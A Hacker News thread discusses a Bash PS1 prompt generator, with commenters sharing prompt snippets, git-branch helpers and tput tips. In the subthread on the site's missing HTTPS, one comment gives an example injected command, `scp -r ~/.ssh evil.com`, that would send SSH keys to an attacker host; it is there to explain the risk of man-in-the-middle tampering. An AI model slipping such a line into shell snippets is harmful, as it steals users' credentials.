[HN Gopher] Bash PS1 Generator
       ___________________________________________________________________
        
       Bash PS1 Generator
        
       Author : nailer
       Score  : 288 points
       Date   : 2021-06-24 09:34 UTC (13 hours ago)
        
 (HTM) web link (bashrcgenerator.com)
 (TXT) w3m dump (bashrcgenerator.com)
        
       | wyuenho wrote:
       | Just use starship.rs
        
       | yboris wrote:
       | My favorite is to have bash start with 3 random emojis. Feels
       | like a little haiku.
       | 
       | https://github.com/whyboris/dotfiles/blob/master/.bashrc
        
       | rexf wrote:
       | I've seen many similar PS1 generator sites over the years.
       | Building a weekend project is great.
       | 
       | I built one in 2012 http://xta.github.io/HalloweenBash/ with drag
       | and drop.
       | 
       | I think there is room for someone to create a site to generate
       | PS1 for zsh (since macOS comes with zsh now).
        
       | Zababa wrote:
       | Nice, but there is a bug: if you add @ and then remove it, the @
       | still stays.
        
       | jedimastert wrote:
       | snippet in my PS1 to get the current git branch:
       | $(git branch | grep ^* | colrm 1 2)
       | 
       | You could use                 $(git branch --show-current)
       | 
       | but if the head is detached it won't show anything
        
       | MontagFTB wrote:
       | I don't see a '#' option there. It's a valuable command line
       | inclusion to keep copypasta from executing something you may not
       | intend. Also, the ability to check what branch I'm in (assuming
       | cwd is in a git repo) is a useful prompt inclusion.
        
       | ddtaylor wrote:
       | Normally I don't post much about how a site should use HTTPS on
       | HN, but for this specific instance I think it's important.
        
         | freedomben wrote:
         | I agree. If the maintainer is here, you can use certbot to add
         | HTTPS easily on your existing Apache 2/Debian stack. If you're
         | on Stretch or Buster the official instructions are the same:
         | https://certbot.eff.org/lets-encrypt/debianstretch-apache
         | 
         | One note: I hate snaps and don't use them personally, but it
         | would make it very easy for you to add HTTPS without changing
         | your existing stack.
        
         | teknopaul wrote:
         | why?
        
           | chrisshroba wrote:
           | If the outputted prompt contains something like `scp -r
           | ~/.ssh evil.com`, folks may not notice or be savvy enough to
           | recognize that it is malicious. A MITM attacker could quite
           | easily implement this.
        
             | ddtaylor wrote:
             | It's also possible to hide the characters entirely so they
             | don't appear visually but are part of the clipboard.
        
           | roboticmind wrote:
           | I assume they are saying that because you wouldn't want
           | something where someone could do a MITM and insert arbitrary
           | bash commands through $() or other similar things
        
       | spicybright wrote:
       | All this stuff is easy to remember. I want colors so bad.
       | 
       | You could even have colors be containers you put other elements
       | inside to make it easier to visualize
        
         | chrisspyb wrote:
         | It has colors - double click on an element after dragging it
         | into "your selection"
        
       | tines wrote:
       | I think there's a bug, at least in Firefox. When you drag to
       | remove an element from the currently active set, the "sample
       | output" only updates after making _another_ change. So if you
       | drag to remove two elements one-at-a-time, the "sample output"
       | will lag one action behind what you have in the workspace.
        
       | llarsson wrote:
       | Lovely idea!
       | 
       | Now please add some examples, so it's easier to get started with
       | something to modify. :)
        
       | euske wrote:
       | I think the drag-n-drop UI is less intuitive. Wasted a few
       | minutes trying to click these items as "buttons" and wondering if
       | there's something wrong because of the http-onlyness of the site
       | (console gives a lot of warning).
        
         | igetspam wrote:
         | Thank you for that. I've been clicking and thought it was
         | broken.
        
         | _kblcuk_ wrote:
         | Yea, why not just have "double-click" as "add this element to
         | the end of input".
        
           | teknopaul wrote:
           | does it work on mobile? I couldn't get it to. By coincidence
           | I need to update PS1 on a bunch of servers today, nice idea.
           | 
           | Exit status should defo be in the default in all distros.
        
           | dolmen wrote:
           | Why not just single click?
        
         | alias_neo wrote:
         | Shame is not single click, I thought it was broken on mobile
         | because nothing happened when I click, then I knew it doesn't
         | work on mobile when I realised it's drag and drop.
        
       | gumby wrote:
       | I love the irony of using a GUI tool to create a prompt for a
       | shell.
        
         | IgorPartola wrote:
         | I think that says something about the bash PS1 syntax.
        
         | dolmen wrote:
         | Well, I'm using Perl to generate PS1 (for bash and most other
         | Unix shells).
         | 
         | https://github.com/dolmen/angel-PS1
        
       | the__prestige wrote:
       | On the site all prompt variables end in "tput sgr0". I haven't
       | seen that before. What does that do and why is it needed?
        
         | sirn wrote:
         | tput query a terminfo database and return an escape code
         | suitable for that $TERM. sgr0 is the name for "reset" (e.g.
         | "\033[0;10m" in ANSI). Using tput instead of escape code
         | directly is better in a lot of ways. For example, it allows the
         | shell script to be adaptive to the type of TERM it runs on
         | (e.g. not outputting color codes at all if TERM doesn't support
         | colors).
         | 
         | You can see what each tput commands are doing by running
         | infocmp. Most TERM implement ANSI-compatible escape codes, but
         | may prefer other escape codes for the same effect (e.g. try
         | comparing `infocmp -1 ansi` and `infocmp -1 xterm` and `infocmp
         | -1 screen`). You can see the entire list of these commands in
         | terminfo(5) (`man 5 terminfo`) in Predefined Capabilities
         | section.
        
           | dolmen wrote:
           | tput uses the terminfo database which is usually located in
           | /usr/share/terminfo.
           | 
           | If your terminal ($TERM) is not known to the operating
           | system, you can also import the terminfo definition from
           | another OS in a directory and point the TERMINFO environment
           | variable to it (useful if the legacy OS you connect to via
           | SSH doesn't have full support for your fancy terminal
           | emulator).
        
         | mixmastamyk wrote:
         | Others explained why. But, it's not really been necessary since
         | maybe the early 90s, unless you have hardware terminals around?
         | 
         | It's more efficient to echo CSI 0m, in shell than to run
         | another process to do the same. Every mainstream terminal
         | supports it.
        
         | whelming_wave wrote:
         | `tput sgr0` reads terminfo to find out how to issue a command
         | which resets all currently set colors, text properties, and so
         | on, then resets them. A lot of people will do something like
         | `echo -e '\E[32;46m'`, but that's arguably more opaque and
         | definitely not portable across terminals.
         | 
         | tput is a neat command that I wish got used more! I also use
         | `tput cnorm` to ensure the cursor is visible.
        
       | arendtio wrote:
       | You think your prompt is too fast? Just add some HN style to it:
       | PS1="\$(curl -fsL https://news.ycombinator.com/user?id=USERNAME |
       | awk 'x==1 {print \$1; x=0}; /karma/{x=1};') $PS1"
       | 
       | Replace USERNAME with your HN nick and always have your karma at
       | your fingertips ;-)
       | 
       | PS: This is a really bad idea...
        
       | graton wrote:
       | Somewhat related to PS1 is PS4 in bash.
       | 
       | Make your trace output more useful/verbose in your scripts:
       | set -x       export PS4='+
       | ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}:   '
       | 
       | This will print the filename, function name, line number, and
       | line content during execution.
        
         | formerly_proven wrote:
         | In case someone wonders, this does retain the repeated "+" to
         | indicate call depth: "The first character of PS4 is replicated
         | multiple times, as necessary, to indicate multiple levels of
         | indirection." -- this is an important feature when working on
         | large-ish (1-10+k LoC) scripts, which end up having very deep
         | call stacks and a flat trace output would be completely
         | inscrutable.
        
           | Xophmeister wrote:
           | If you have 10k LoC Bash scripts, then you've got bigger
           | problems!
        
             | jethro_tell wrote:
             | I've run the bash 10k and all I got was this shirt!
        
       | drivers99 wrote:
       | Seeing '>' as an option makes it somewhat relevant to mention
       | here: I'd recommend not ending your prompt with a '>' character
       | (as you'd see in DOS/Windows a lot, which might make it seem like
       | a nice option). If you accidentally copy and paste your prompt
       | with a command after it, (which is easy to do with a couple mouse
       | clicks, or if you forget what's in your clipboard after copying
       | some lines from your terminal,) the first thing after the > sign
       | is the file for a script or executable and you will truncate the
       | file (make it 0 bytes). This can be especially bad if you're root
       | at the time. (That makes # as a root prompt especially a good
       | idea.)
        
         | [deleted]
        
         | RobRivera wrote:
         | I would have never thought of that. ty for the tip
        
           | drivers99 wrote:
           | Learned about that when a co-worker did that about 20 years
           | ago.
        
         | tyingq wrote:
         | Maybe >(Unicode 0xFF1/>) would be a good substitute?
         | 
         | Side by side: >>
        
           | TremendousJudge wrote:
           | that seems like asking for trouble
        
         | chrissnell wrote:
         | Terminal app feature idea: a hotkey that puts the last command
         | run in the copy buffer
        
           | dllthomas wrote:
           | function copy_last_command {             history 1 | sed 's/
           | [0-9]*  //' | xclip -i         }         bind -x
           | '"\C-h":copy_last_command'
        
             | bobbyi_settv wrote:
             | The Mac equivalent of xclip -i is pbcopy
        
       | diroussel wrote:
       | Use https://starship.rs/ abs get the same prompt in all your
       | shells. Also it's written in rust, so it's faster than a load of
       | bash scripts.
        
         | villasv wrote:
         | Absolutely a quality of life tool. Very few excuses left to put
         | up with zsh + Oh-My-Zash.
        
           | cbsmith wrote:
           | I mean, the other alternative is just keep your prompt
           | simple. ;-)
        
             | queuebert wrote:
             | This. The one time a month when I can't remember which git
             | branch I'm on I'll just run 'git branch'. If you're feeling
             | frisky, you could even alias that to 'gb'.
        
               | brobinson wrote:
               | >you could even alias that to 'gb'.
               | 
               | oh-my-zsh does this by default as it comes with the "git"
               | plugin loaded. "gb -vv" is a common thing I run.
        
               | rmetzler wrote:
               | One time a month? Currently I have 85 work related
               | repositories checked out, putting the current git branch
               | and current Kubernetes context in the prompt is helping
               | to avoid mistakes.
               | 
               | I also have a newline in my prompt which makes it easier
               | to copy commands and output into Jira.
        
               | ec109685 wrote:
               | 85 repos seems like so many. Are you making many changes
               | that need to span across multiple? How many are touched
               | over the course of a week?
        
               | cbsmith wrote:
               | I'm guessing this place is not using mono-repo. ;-)
        
       | nailer wrote:
       | Here's what I'm currently rocking:                   0 0:00:00
       | ~/Code/company/app$
       | 
       | First number is exit code of previous command, second is how long
       | it took. Credit to
       | https://unix.stackexchange.com/questions/252229/ps1-prompt-t...
       | for the last part. It's a bit ratchet:
       | 
       | - I actually don't care about the exit code unless it was non-
       | zero
       | 
       | - It calculates the delta three times
       | 
       | but I've been to busy to optimise it.
       | prompt_command() {           _PS1_now=$(printf '%(%s)T')
       | PS1=$( printf "\n\$? \[\e%02d:%02d:%02d
       | \n\[\033[01;34m\]\w\[\033[00m\]\$ " \                   $((  (
       | _PS1_now - _PS1_lastcmd ) / 3600))         \
       | $(( (( _PS1_now - _PS1_lastcmd ) % 3600) / 60 )) \
       | $((  ( _PS1_now - _PS1_lastcmd ) % 60))           \
       | )           _PS1_lastcmd=$_PS1_now         }
       | PROMPT_COMMAND='prompt_command'         _PS1_lastcmd=$(printf
       | '%(%s)T')
        
         | mmphosis wrote:
         | Here's what I'm currently rolling:                 $
         | 
         | A colorful prompt appears, only when 'user or hostname or path'
         | changes, or after certain commands:                 -
         | username@hostname:pwd       $
         | 
         | Somewhere in .bash_aliases ...                 ### PROMPT ###
         | ### long prompt (in color) only when 'user or hostname or path'
         | changes, or after certain commands       prompt_command ()
         | {          local -a a;         local last_cmd;         IFS=' '
         | read -r -d '' -a a < <( history 1 );         last_cmd="$(printf
         | "%s" "${a[1]}"|xargs -0)";         if [ "$USER_HOSTNAME_PWD" !=
         | "$USER@$HOSTNAME:$PWD" ] || [[ " cd src doc ssh sudo su login
         | $(sed -e '/^#.*$/d' -e '/^$/d' -e 's@^.*/@@'
         | /etc/shells|uniq|xargs) " == *" ${last_cmd} "* ]]; then
         | USER_HOSTNAME_PWD="$USER@$HOSTNAME:$PWD";             echo -e
         | "\\e7\\e(B\\e[m- \\e[3$((($(id -u) != 0) + 1))m${USER}\\e(B\\e[
         | m@\\e[35m${HOSTNAME%%.*}\\e(B\\e[m:\\e[36m${PWD/#$HOME/\~}\\e8"
         | ;         fi       }       -() { unset USER_HOSTNAME_PWD
         | }       PROMPT_COMMAND=prompt_command       PS1='$ ';[ "$(id
         | -u)" -eq 0 ] && PS1='# '
        
       | Zhyl wrote:
       | Notes:
       | 
       | * As an idea, this is excellent. It's intuitive to use and
       | provides full instructions on how to implement
       | 
       | * Putting an element in any other position than the end of the
       | prompt is fiddly.
       | 
       | * I'd love for the option to to be able to colour elements.
       | 
       | * More advanced or exotic element types such as Git Branch would
       | be excellent (Not sure if Bash supports this, but I've seen it in
       | some shells)
        
         | Jenk wrote:
         | For the manual approach, git provides a shell script to
         | generate the env var __git_ps1 for this very purpose.[1]
         | 
         | [1]: https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-
         | En...
        
           | teknopaul wrote:
           | I think a manual approach is covered with vim ;)
        
           | cghendrix wrote:
           | Very cool, had no idea!
        
         | Rayhem wrote:
         | There's one prompt in ZSH, the adam2 prompt[1], that I
         | completely fell in love with due to the automatic horizontal
         | rule since it makes tracing histories so much easier when
         | dealing with long-scrolling outputs. I've never been able to
         | find a similar feature in another prompt/shell, nor have I had
         | the inclination to try and replicate it, but I'd be much more
         | inclined to switch shells/try new prompts if that were
         | available.
         | 
         | [1]: https://imgur.com/1X9bY8X
        
         | phit_ wrote:
         | double click an element to change the color
        
           | Zhyl wrote:
           | Aha! Thank you!
        
         | dopidopHN wrote:
         | Bash do support git branch name and whatnot. That what got me
         | into PS1 customization.
        
         | dolmen wrote:
         | See also:
         | 
         | * LiquidPrompt [0] (I'm a former maintainer)
         | 
         | * angel-PS1 [1]: my pet project. Shell prompt code is generated
         | at startup time from Perl code, and uses a Perl angel (not
         | daemon) to get system information.
         | 
         | [0] https://github.com/nojhan/liquidprompt
         | 
         | [1] https://github.com/dolmen/angel-PS1
        
         | dom111 wrote:
         | I've shared it elsewhere too, but I made something similar a
         | few years ago which provides what you were after:
         | 
         | https://dom111.github.io/bash-ps1/
        
       | sharken wrote:
       | PowerShell uses the PS1 extension for it's script files and is
       | also available for Linux for added confusion.
       | 
       | Apparently the extension PS1 is a reference to PowerShell 1.0.0,
       | thankfully Microsoft did not increase the number.
       | 
       | Source
       | 
       | https://github.com/PowerShell/PowerShell/issues/2013
        
       | hughrr wrote:
       | Am I the only one who leaves mine as is?
        
         | wcchandler wrote:
         | I do for my linux systems, but I now have to use a Mac for work
         | and can't stand the default. Happy to use this tool to spitball
         | something new.
        
         | dolmen wrote:
         | Well, the default prompt you have may already have been
         | customized by operating system vendor (Linux distro) and not be
         | the real bash default.
         | 
         | Try this to get the real default:                   PS1='[\u@\h
         | \W]\$ '
        
           | jethro_tell wrote:
           | PS1='$ '
           | 
           | or
           | 
           | PS!='# '
        
         | circularfoyers wrote:
         | Do you use Linux as your main OS on your desktop or laptop. If
         | so, how much do you use the terminal and what for?
        
           | hughrr wrote:
           | I use a Mac connected to various Linux nodes via ssh.
           | Development and sysadmin work.
        
         | wsc981 wrote:
         | I've found having my current git branch shown in my prompt is
         | extremely useful to prevent committing on the wrong branch.
         | YMMV.
        
           | hughrr wrote:
           | That's pretty handy actually. Thanks for the idea.
        
       | makach wrote:
       | LOVELY. Thank you.
        
       | kstrauser wrote:
       | I was moved to experiment with Fish shell one day, and wanted to
       | see how to set my prompt. Answer: you create a function named
       | `fish_prompt` that uses regular shell commands like `echo` (and
       | fish's own `set_color`) to imperatively build the prompt. Want to
       | make a right-hand prompt for something like the current time?
       | Write a function named `fish_right_prompt`. For example, here's
       | mine:                 function fish_right_prompt --description
       | 'Write out the right prompt'           set_color 666666
       | date +'%Y-%m-%d %H:%M:%S'           set_color normal       end
       | 
       | I was sold. I'm never, ever going back to futzing around with a
       | bunch of complex $PSx variables when I can just write a function
       | that does the right thing.
        
       | throwmemoney wrote:
       | What is the best way to have the long directory line above the
       | prompt? Using PS2 or PS3?
        
         | nine_k wrote:
         | Something like "\w\n\$ " should work; mine is more complex by
         | the idea holds, you can have a \n in your PS1 just fine.
        
         | geraldcombs wrote:
         | I'm not a fan of multiline prompts but I do like knowing where
         | I am, so I trim the path and prepend a "..." character.
        
       | tsavola wrote:
       | No https.
        
         | jacobmischka wrote:
         | While https is a good default, and LetsEncrypt has made it
         | relatively trivial, I wouldn't say this particularly _needs_
         | it; there isn 't any user data at all.
         | 
         | I suppose without TLS it could be intercepted and modified to
         | return a malicious bash command, or something, but this random
         | site on the internet could do that on its own without being
         | intercepted anyway.
        
           | junon wrote:
           | > but this random site on the internet could do that on its
           | own without being intercepted anyway.
           | 
           | Who has more incentive to do so: the person that wants their
           | site to have visitors, or a malicious attacker intent on MITM
           | people in the first place?
           | 
           | What a ridiculous defense of insecurity.
        
           | tsavola wrote:
           | Always having https removes the need to consider the security
           | implications of unencrypted transport on case-by-case basis.
           | 
           | I have been using HTTPS Everywhere extension and currently
           | Firefox's HTTPS-Only feature in strict mode for a long time.
           | Nowadays few links fail to work for me, so the failing ones
           | stand out.
        
             | chrismorgan wrote:
             | Me too. Out of curiosity, I also added a user style sheet
             | (via Stylus) to mark HTTP links:
             | :where(:link[href^="http:"])::after {         content: "
             | [http]";         color: red;         text-decoration: none;
             | }
             | 
             | (I use the :where(...) wrapping so that any site actually
             | trying to use :link::after for real stuff can override my
             | styles without specificity conflicts.)
             | 
             | It's interesting especially to see how often https: sites
             | have http: links to their own domain, which are just going
             | to get redirected back to the https:. (The HN footer has
             | the "Legal" and "Apply to YC" links being to
             | http://www.ycombinator.com/* for no good reason, a very
             | similar case.)
             | 
             | And how _horribly_ many emails use http: tracking links,
             | and how painfully many of those domains don't speak HTTPS.
             | 
             | HN's front page normally has 0-2 out of 30 of the links
             | being HTTP, almost always old domains. It's fairly rare for
             | a new site to go plain HTTP.
        
               | dolmen wrote:
               | Great trick.
        
           | st_goliath wrote:
           | > I wouldn't say this particularly _needs_ it; there isn 't
           | any user data at all.
           | 
           | I use NoScript. This page requires me to enable JavaScript
           | for it to work. Because it doesn't use TLS, this allows any
           | miscreant in the middle to injected JS doing god-knows-what
           | into my browser.
           | 
           | If you really _insist_ (in this case IMO understandable) on
           | having me download and run your program, written in a turing
           | complete scripting language, _please_ let me do so in a way
           | where I can be sure it is actually your program (assuming I
           | trust _you_ that far; which for most people I don 't, hence
           | NoScript).
        
             | recursive wrote:
             | But no one is insisting.
        
               | st_goliath wrote:
               | "It must turn on the JavaScript, or it gets the blank
               | page again" - The Silence of the LAMPs
               | 
               | --
               | 
               | https://en.wiktionary.org/wiki/insist#Verb
               | 
               | Wiktionary is a website that has improved functionality
               | after turning on JavaScript, but works just fine without
               | it. It _does not insist_ on using JavaScript.
               | 
               | I guess what you actually mean is "no one is insisting on
               | me looking at their website"? That would be true, but I
               | don't recall making any contrary claims.
               | 
               | If I _do want_ to look at a website, the site _insists_
               | on using JavaScript, but does not use HTTPS, that _can_
               | be a security issue. That 's what my original comment
               | tries to point out.
        
           | seanwilson wrote:
           | > I wouldn't say this particularly needs it; there isn't any
           | user data at all. > I suppose without TLS it could be
           | intercepted and modified to return a malicious bash command,
           | or something
           | 
           | A hacked version doesn't have to return a variation of what's
           | on the page already. There's lots of sneaky things you could
           | return, like a malware download pretending to be a Bash PS1
           | setup script, a fake GitHub based sign-up to harvest login
           | details, a payment form for a fake product, or a simple
           | redirect to another malicious site.
        
             | [deleted]
        
           | ddtaylor wrote:
           | > I suppose without TLS it could be intercepted and modified
           | to return a malicious bash command, or something, but this
           | random site on the internet could do that on its own without
           | being intercepted anyway.
           | 
           | Those are two completely different attack surfaces. You
           | _should_ be able to trust a single site without having to
           | trust every other hop on the Internet and a good reason why
           | TLS should be used here.
        
           | robinson-wall wrote:
           | This is a website which serves the sole purpose of
           | encouraging people to copy snippets of text and paste them
           | into their terminal, and there are plenty of techniques that
           | ensure what you see on the page isn't what gets into your
           | clipboard.
        
       | moomin wrote:
       | Or use starship...
        
         | nikolay wrote:
         | It's too bloated. It has all kinds of built-in stuff with ugly
         | defaults instead of just providing a framework with plugins.
        
           | magnio wrote:
           | Starship is the only prompt I've used that has (a) sane
           | defaults, (b) cross platform support as well as ease of
           | installation, and (c) good enough speed. Powerline is much
           | slower, and I lose my serenity everytime I have to fiddle
           | with dotfiles.
        
             | swah wrote:
             | I just got
             | 
             | ~/bin via v1.8.0 via v2.7.16 on (us-east-2) [1]
             | 
             | even on non-project folders and have no idea why that is
             | being listed.
             | 
             | [1] emojis got lost in hn, but it was a coffee cup, a snake
             | and a cloud..
        
               | ec109685 wrote:
               | https://starship.rs/config/#default-prompt-format
        
           | dolmen wrote:
           | If you like framework and plugins, try my own angel-PS1.
           | 
           | https://github.com/dolmen/angel-PS1
        
             | dolmen wrote:
             | Contrary to Starship, angel-PS1 gets all static information
             | at startup time (ex: hostname, username) and rebuilds only
             | the dynamic information. And for that dynamic information
             | it uses an angel companion instead of forking and loading
             | the configuration file for every prompt display.
        
             | nikolay wrote:
             | Great job! Thank you!
        
           | pletnes wrote:
           | It can be configured and the default has to be something. The
           | main problem is that it's just too slow, at least in my
           | experience. Even stripped of some bloat it can take >1s to
           | get the prompt printed. Not worth it, at all.
        
             | ylyn wrote:
             | This has not been my experience at all.
             | 
             | Then again, I only use 5 of all the plugins available.
        
               | nikolay wrote:
               | Same experience. It also hurts me that support for so
               | many things is baked-in!
        
         | mzzter wrote:
         | What is starship?
         | 
         | Edit: Found it, it's a cross-shell prompt. Appears to require a
         | binary install.
        
           | voxadam wrote:
           | https://starship.rs/
           | 
           | https://github.com/starship/starship
        
         | manjana wrote:
         | There is also powerline. https://github.com/powerline/powerline
        
       | MichaelMoser123 wrote:
       | current git branch is missing (helps me to avoid working on the
       | wrong branch). (tried to do it with colors, but things got too
       | messy). I never managed to work with colors in bash propmts; they
       | look different on each environment.
       | parse_git_branch() {         git branch 2> /dev/null | sed -e
       | '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'       }            PS1="[\u@\h
       | \W\$(parse_git_branch)]\$ "
        
         | sirn wrote:
         | You might want to use `git rev-parse --abbrev-ref HEAD` or `git
         | name-rev --name-only HEAD` instead of `git branch`. Plumbing
         | commands (such as rev-parse or name-ref) are generally more
         | interface-stable to use in a script than porcelain commands
         | (such as git branch) which are designed for interactive use
         | where output may change depending on user environment and
         | configuration.
        
           | NegativeLatency wrote:
           | I've heard this advice given before and initially followed it
           | but 'git branch' and parsing the output works in a few cases
           | (I don't recall what they are at this time) that less hackey
           | approaches don't.
        
             | sirn wrote:
             | I think that might be `git symbolic-ref` which doesn't work
             | in detached HEAD state (e.g. when checking out a commit)
             | whereas `git rev-parse --abbrev-ref` will print "HEAD". On
             | the other hand, `git name-rev` will try to find the nearest
             | named ref (including tags) and how far HEAD is from that
             | named ref (e.g. master~1).
             | 
             | Internally, symbolic-ref resolve the ref in the same way as
             | git branch, just without handling detached HEAD. __git_ps1
             | use a combination of rev-parse, symbolic-ref and git
             | describe to provide a more interesting output for
             | displaying state of the working directory.
             | 
             | To have the similar output for detached HEAD as git-status
             | (e.g. "HEAD detached at fa0c4e1") then probably `git rev-
             | parse --abbrev-rev` and `git rev-parse --short` should be
             | used together. Unfortunately, while rev-parse can print
             | multiple output in a single command, abbrev-rev and short
             | cannot be used together. In such case, parsing `git status`
             | might indeed be more suitable as it spawn only one
             | executable instead of two.
             | 
             | Some porcelain commands do have --porcelain flag to ensure
             | the stability of the interface, though (e.g. `git status
             | --porcelain=v1`).
        
           | MichaelMoser123 wrote:
           | makes sense. thanks!
        
         | dllthomas wrote:
         | I recently added a count of stashes (in red) following the
         | branch name, and I've been liking it.
        
         | res0nat0r wrote:
         | This is the PS1 I've been using for a long time:
         | 
         | export PS1="\n\$(kube_ps1)\n\\[\033[01;32m\\]\u@\h\\[\033[00m\\
         | ]:\\[\033[01;34m\\]\w\\[\033[0;31m\\]\$(__git_ps1)\n\$\\[\033[0
         | 0m\\] "
         | 
         | Note it needs the git-prompt.sh script (usually comes with the
         | bash-completion package), and the kube-ps1 script:
         | https://github.com/jonmosco/kube-ps1
         | 
         | It will show you the current kubernetes profile and namespace,
         | user@host, current directory and git branch if you're in a git
         | repo.
        
         | paulmac_ie wrote:
         | This is my prompt that shows my git branch, AWS_PROFILE etc:
         | if [ "$color_prompt" = yes ]; then
         | PS1='\[\033[0;32m\]\[\033[0m\033[0;32m\]\u\
         | [\033[0;36m\] @ \[\033[0;36m\]\h \w\
         | [\033[0;32m\]$(__git_ps1)\n\[\033[0;32m\]+-\
         | [\033[0m\033[0;32m\] \$\[\033[0m\033[0;32m\]
         | AWS:${AWS_PROFILE} >\[\033[0m\] '         else
         | PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '         fi
        
         | ryenus wrote:
         | Nowadays there's the `--show-current` option:
         | git branch --show-current
         | 
         | See https://git-scm.com/docs/git-branch
        
       | Hypergraphe wrote:
       | Cool
        
       | gigatexal wrote:
       | amazing. does something similar exist for ZSH?
        
         | dtx1 wrote:
         | https://github.com/spaceship-prompt/spaceship-prompt
        
           | timothylaurent wrote:
           | Or just use https://starship.rs/ for any shell
        
       | nobody9999 wrote:
       | I've been using this for years (output of 'echo $PS1' ):
       | [\e[1;33m\u\e[1;32m@\e[1;31m\H \e[1;36m\t\e[0m]
       | [\e[1;35m\w\e[0m](\e[1;32m\#\e[0m
       | )\n$
       | 
       | which presents as:                 [User@HOST 10:21:07][~](2)
       | $
       | 
       | (Username, hostname, 24 hour _local_ time, CWD, history count,
       | newline, prompt)
       | 
       | More detail from my .bashrc:                 # Define some colors
       | first:       red='\e[0;31m'       RED='\e[1;31m'
       | blue='\e[0;34m'       BLUE='\e[1;34m'       cyan='\e[0;36m'
       | CYAN='\e[1;36m'       green='\e[0;32m'       GREEN='\e[1;32m'
       | NC='\e[0m' # No Color       yellow='\e[0;33m'
       | magenta='\e[0;35m'       YELLOW='\e[1;33m'
       | MAGENTA='\e[1;35m'       export
       | PS1="[${YELLOW}\u${GREEN}@${RED}\H ${CYAN}
       | \t$NC][${MAGENTA}\w$NC](${GREEN}\#$NC)\n\$ "
       | 
       | I define the colors as it makes it easier to modify PS1 when the
       | spirit moves me.
       | 
       | I guess using a generator or toolkit could be useful, but I
       | tweaked mine over the years and prefer it just this way.
       | 
       | Edit: I forgot to mention that I use different colors for user
       | vs. root prompts, as that gives immediate visual confirmation of
       | privilege level.
        
         | _eigenfoo wrote:
         | What do you use the history count for?
        
           | compressedgas wrote:
           | That tells one the index to use for !N to repeat that command
           | 
           | !! repeats the last command
           | 
           | !N repeats the command with that index in the history
        
         | nine_k wrote:
         | I usually place the time at the beginning. Another thing to
         | place at the beginning is a (red) exit code of the last
         | command, when that code is not 0.
        
       | tyingq wrote:
       | Was expecting this:                  ________________       |
       | |,"    `.|   | SgH       |   /  SONY  \   |       |O _\   />   /_
       | |   ___ _       |_(_)'.____.'(_)_|  (")__(")
       | [___|[=]__[=]|___]  //    \\
        
         | queuebert wrote:
         | (nodegDdeg)no( +-+
        
         | pkdpic_y9k wrote:
         | omg yes : )
        
         | Greg_hamel wrote:
         | Same.
        
       | nickdothutton wrote:
       | A wonderful fusion of Web and CLI. I think this hybrid could be a
       | rich seam.
        
       | scbrg wrote:
       | Why would you _export_ PS1? Seems like unnecessarily cluttering
       | the environment of child processes.
        
         | arendtio wrote:
         | What is wrong with the above comment (it got downvotes)?
         | 
         | Isn't it correct? I mean, sure, we are talking shell here, so
         | who cares about efficiency, but I don't see the benefit of
         | using export either.
        
           | scbrg wrote:
           | Thank you :-)
           | 
           | To elaborate, when I say "cluttering," it's not really
           | performance I'm after. Of course I realize that yet another
           | small key value pair in a hashmap matters very little.
           | Rather, I'm thinking in terms of debugging and - worst case -
           | weird side effects.
           | 
           | When I debug something I'm not helped by the environment
           | being filled with unnecessary crap, in much the same way I
           | don't particularly declare a bunch of irrelevant global
           | variables in my programs.
           | 
           | In the worst case, a leaking environment may cause problems.
           | What if another interactive shell process is spawned by a sub
           | shell, and suddenly your prompt that queries your mail
           | server, double checks if there's new stuff in GitHub, fetches
           | the next ten days' weather and renders hamsterdance in your
           | prompt using a hacked font or whatever is inherited (except
           | that now maybe it runs as root). Unlikely? Yeah, sure. Still
           | unnecessary.
           | 
           | In the end though, I suspect many people just aren't aware of
           | the difference between exporting a variable and not, and
           | somehow think that "to declare a variable in a shell you must
           | type export".
        
       | dllthomas wrote:
       | I prefer ${PIPESTATUS[*]} to $?; much more informative (when
       | there's a difference).
        
       | dom111 wrote:
       | I've made something similar to this too, I wanted to be able to
       | change the colours and preview so it ended up being a bit of a
       | rabbit hole, but was fun!
       | 
       | https://dom111.github.io/bash-ps1/
        
       ___________________________________________________________________
       (page generated 2021-06-24 23:00 UTC)